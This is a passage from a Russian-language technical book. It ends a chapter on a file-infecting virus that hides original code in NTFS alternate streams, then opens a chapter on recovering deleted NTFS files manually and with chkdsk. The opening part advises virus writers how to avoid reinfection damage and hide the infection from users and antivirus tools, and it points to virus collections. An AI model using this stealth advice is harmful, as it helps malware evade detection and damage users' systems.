Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile, передать ей имя файла вместе с потоком (например, notepad.exe:bar) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит, и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, следует отказаться от заражения или выбрать другой поток. Например: bar_01, bar_02, bar_03.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла, и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии xcode.exe). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.

Предложенная стратегия внедрения, конечно, не является идеальной, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в листинге 6.6, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.

Листинг 6.6. Командный файл, восстанавливающий зараженные файлы в исходное состояние

more < %1:bar > reborn.exe

ECHO I'm reborn now!

Энумерация потоков

Как определить, что за потоки содержатся внутри файла? Штатными средствами операционной системы сделать это невозможно. Функции для работы с потоками не документированы и доступны только через Native API. Вот эти функции: NtCreateFile, NtQueryEaFile и NtSetEaFile. Их описание можно найти в следующей книге: "The Undocumented Functions Microsoft Windows NT/2000" by Tomasz Nowak. Электронную копию этой книги можно бесплатно скачать по следующему адресу: http://undocumented.ntinternals.net/title.html. Кроме того, рекомендуется прочесть статью "Win2k.Stream" из 5-го номера вирусного журнала #29А, да и другие журналы пролистать не мешает.

Создание нового потока осуществляется вызовом функции NtCreateFile, среди прочих аргументов принимающей указатель на структуру FILE_FULL_EA_INFORMATION, передаваемый через EaBuffer. Можно также воспользоваться функцией NtSetEaFile, передав ей дескриптор, возращенный функцией NtCreateFile, открывающей файл обычным образом. Перечислением (и чтением) всех имеющихся потоков занимается функция NtQueryEaFile. Прототипы всех функций и определения структур содержатся в файле NTDDK.H, в котором присутствует достаточное количество комментариев, позволяющее заинтересованному читателю самостоятельно разобраться в данном вопросе.

Полезные ссылки

□ http://www.wasm.ru — море полезных материалов по вирусам и ассемблеру, форум на котором тусуется множество матерых профессионалов, да и просто сайт, приятный во всех отношениях.

□ http://vx.netlux.org/ — гигантская коллекция вирусов и учебников по их написанию.

□ http://flatassembler.net/fasmw160.zip — бесплатная Windows-версия ассемблера FASM — самого правильного ассемблера из всех.

Глава 7

Восстановление ошибочно удаленных файлов на разделах NTFS

Надежность NTFS — это одно, а ошибочно удаленные файлы — совсем другое. Файловая система, даже такая мощная, как NTFS, бессильна защитить пользователя от себя самого. Но вот предусмотреть "откат" последних выполненных действий она вполне может, тем более что транзакции и ведение их журнала в NTFS уже реализованы. До совершенства остается всего лишь один шаг. Однако, к сожалению, Microsoft не торопится сделать этот шаг, возможно, оставляя эти усовершенствования как задел для будущих версий. "Защита" от непреднамеренного удаления реализована исключительно на интерфейсном уровне, а это не только неудобно, но и ненадежно.

Прекрасно, если удаленный файл сохранился в "Корзине", но что делать, если там его не окажется? Эта глава рассказывает о методах ручного восстановления файлов, в том числе и файлов с отсутствующей файловой записью, которые приходится собирать буквально по кластерам.

Пакет FILE_DISPOSITION_INFORMATION

IPR_MJ_SET_INFORMATION/FILE_DISPOSITION_INFORMATION — это пакеты, посылаемые драйверу при удалении файла (имейте это в виду при дезассемблировании). Чтобы уметь восстанавливать удаленные файлы, необходимо отчетливо представлять, что происходит в процессе удаления файла с раздела NTFS. Последовательность выполняемых при этом действий приведена ниже.

1. Корректируется файл /$MFT:$BITMAP, каждый бит которого определяет "занятость" соответствующей файловой записи (FILE Record) в MFT (значение 0 говорит о том, что запись не используется).

2. Корректируется файл /$BITMAP, каждый бит которого определяет "занятость" соответствующего кластера (значение 0 говорит о том, что кластер не используется).

3. Файловые записи, соответствующие файлу, помечаются как удаленные (поле FLAG, находящееся по смещению 16h от начала файловой записи, сбрасывается в ноль).

4. Ссылка на файл удаляется из двоичного дерева индексов. Технические подробности этого процесса здесь не рассматриваются, поскольку восстановить таблицу индексов вручную сможет только гуру. Кроме того, в таком восстановлении нет необходимости. Ведь в NTFS индексы играют вспомогательную роль, и гораздо проще переиндексировать каталог заново, чем восстанавливать сбалансированное двоичное дерево (B*tree).

5. Обновляется атрибут $STANDARD_INFORMATION каталога, в котором хранится удаляемый файл (время последнего доступа и т.д.).

6. В файле /$LogFile обновляется поле Sequence Number (изменения, происходящие в журнале транзакций, здесь не рассматриваются).

7. Поля Update Sequence Number следующих файловых записей увеличиваются на единицу: сам удаляемый файл, текущий каталог, /$MFT, /$MFT:$BITMAP, /$BITMAP, /$BOOT, /$TRACKING.LOG.

Каталоги удаляются практически так же, как и файлы. В этом нет ничего удивительного, так как с точки зрения файловой системы каталог тоже представляет файл особого вида, содержащий внутри себя двоичное дерево индексов (B*tree).

Ни в том, ни в другом случае физического удаления файла не происходит, и он может быть легко восстановлен. Легкое и быстрое восстановление возможно до тех пор, пока не будет затерта файловая запись (FILE Record), принадлежащая этому файлу и хранящая его резидентное тело или список отрезков (run-list) нерезидентного содержимого. Утрата файловой записи крайне неприятна, поскольку в этом случае файл придется собирать по кластерам. При этом стоит заметить, что чем сильнее был фрагментирован удаленный файл, тем сложнее будет эта задача. К счастью, в отличие от FAT, NTFS не затирает первого символа имени файла, что значительно упрощает восстановление.

Автоматическое восстановление удаленных файлов

Утилиты, восстанавливающие удаленные файлы, не входят в стандартный комплект поставки Windows NT/2000/XP. Разумеется, это явный недостаток — вспомните, ведь в MS-DOS такая утилита была. Следовательно, эти средства приходится приобретать отдельно. Одной из автоматических утилит для восстановления удаленных файлов является GetDataBack (рис. 7.1). Опасаясь разрушить файловую систему окончательно, большинство таких утилит избегает прямой записи на диск. Вместо этого пользователю предлагается считать удаленный файл и переписать его в другое место, но только не на сам восстанавливаемый раздел. Не слишком-то удачное решение. А если на остальных дисках свободного места нет, или если восстанавливаемый диск имеет всего лишь один логический раздел? Предположим, вам необходимо восстановить базу данных в несколько гигабайт. Можно, конечно, подключить второй винчестер, скопировать ее туда, а затем обратно. Однако подумайте, сколько же это займет времени, не говоря уже о том, что сервер лучше не выключать, а горячую замену поддерживают далеко не все жесткие диски! Другой недостаток подобных утилит — слишком медленная работа. Вместо того чтобы найти один-единственный файл, имя которого нам известно, они проводят полномасштабные маневры, сканируя весь раздел целиком. При работе с большими дисками на это уходит от одного до нескольких часов, причем это время фактически тратится впустую.

Рис. 7.1. Утилита GetDataBack за восстановлением удаленных файлов

С другой стороны, утилиты, вносящие изменения непосредственно в структуру NTFS, рискуют серьезно повредить дисковый том, после чего ему не помогут даже профессионалы. Настоящие хакеры не доверяют никакому коду, кроме созданного лично ими, особенно, если исходные тексты недоступны, а документация туманна и двусмысленна. Различные версии NTFS отличаются друг от друга. Последние радикальные изменения произошли в Windows XP (NTFS версии 3.1) — массив последовательностей обновления (Update Sequence Number-n-Array) переместился на шесть байтов вперед, а его место было отдано под выравнивание и поле номера текущей файловой записи (Number of this MFT Record). Восстанавливающая утилита должна не только поддерживать вашу версию файловой системы, но и безошибочно отличать ее ото всех остальных. При этом в дополнение к уже указанным сложностям встречаются и совершенно неочевидные "подводные камни". Например, при обновлении Windows 2000 до Windows XP обновления файловой системы не происходит вплоть до переформатирования диска. Эта небольшая особенность не слишком афишируется, и знают о ней лишь немногие. Большинство пользователей попадается в эту ловушку, и последствия оказываются катастрофическими.

Наконец, возможна и такая ситуация, когда утилит восстановления просто не окажется под рукой в тот момент, когда вам срочно потребуется восстановить какой-нибудь ценный файл. Законов Мэрфи еще никто не отменял! В этом случае вам придется рассчитывать только на свои силы.

Ручное восстановление ошибочно удаленных файлов

Начнем с простейшего. Файл только что удален, и принадлежащая ему файловая запись еще не затерта. Как найти его на диске? Существует два способа — "теоретический" и "практический". Теоретический метод исключительно надежен, но требует дополнительных операций, выполнения которых можно избежать, приняв ряд практических допущений.

Теоретически грамотный и правильный подход состоит в следующем. Извлекаем из загрузочного сектора указатель на MFT, извлекаем из нее первую запись (она описывает $MFT), находим атрибут $DATA (80h), декодируем список отрезков (data runs) и последовательно читаем все записи в MFT, анализируя содержимое атрибута $FILE_NAME (30h) — имя файла. Обратите внимание, что таких атрибутов у файла может быть несколько. Этот же атрибут хранит ссылку на родительский каталог. Поэтому, если несколько одноименных файлов были удалены из различных каталогов, то необходимо выяснить, какой именно из них должен быть восстановлен.

Практический подход выглядит следующим образом. В девяти случаях из десяти файл $MFT не фрагментирован и располагается практически в самом начале диска. Имена файлов хранятся по смещению EAh от начала сектора, в начале которого расположена сигнатура FILE* (FILE0 — в NTFS 3.1). Поэтому можно просто запустить любой дисковый редактор (например, Disk Probe из комплекта Support Tools от Microsoft), ввести имя восстанавливаемого файла в кодировке UNICODE и дать редактору указание искать его по смещению EAh (в NTFS 3.1 — F0h) от начала сектора (рис. 7.2).

Рис. 7.2. Ручное восстановление удаленного файла с помощью Disk Probe

Когда же искомая строка будет найдена, необходимо проверить, находится ли в начале сектора сигнатура FILE*/FILE0. Если такой сигнатуры в начале сектора нет, следует продолжить поиск. Двухбайтное поле по смещению 16h от начала сектора содержит флаги записи: 00h — запись не используется или была удалена, 01h — запись используется, 02h — запись используется и описывает каталог. Встречаются и другие значения, например, 04h, 08h. Эти значения не документированы. Возможно, что именно вы сможете пролить свет на этот вопрос?

Исправляем 00h на 01h, записываем изменения и... Ничего не выходит?! А чего вы хотели! Ведь помимо этого необходимо выполнить еще несколько действий. Во-первых, следует сообщить файлу /$MFT:$BITMAP, что данная запись MFT вновь используется. Во-вторых, необходимо исключить из файла /$BITMAP номера кластеров, принадлежащие восстанавливаемому файлу. Наконец, необходимо перестроить двоичное дерево индексов, хранящее содержимое каталога. Первые два пункта не представляют серьезной проблемы, но вот над последней задачей придется повозиться. Хотя ее можно существенно упростить, просто запустив chkdsk с ключом /F. Утилита chkdsk самостоятельно найдет "потерянный" файл и внесет все необходимые изменения в файловую систему (листинг 7.1). От вас потребуется только установить флаг по смещению 16h в единицу, а все остальное сделает chkdsk. После этих нехитрых манипуляций восстановленный файл окажется в своем родном каталоге.

Листинг 7.1. Восстановление удаленного файла при помощи chkdsk

C:\chkdsk D: /F

Тип файловой системы: NTFS.

Проверка файлов завершена.

Проверка индексов завершена.

Восстановление потерянных файлов.

Восстановление потерянного файла test.txt в файле каталога 5

Замена неправильного идентификатора безопасности для файла 29

Проверка дескрипторов безопасности завершена.

Исправление ошибок в атрибуте BITMAP основной таблицы файлов.

Windows сделала изменения в файловой системе.

1068290 КБ всего на диске.

     20 КБ в 2 файлах.

      4 КБ в 9 индек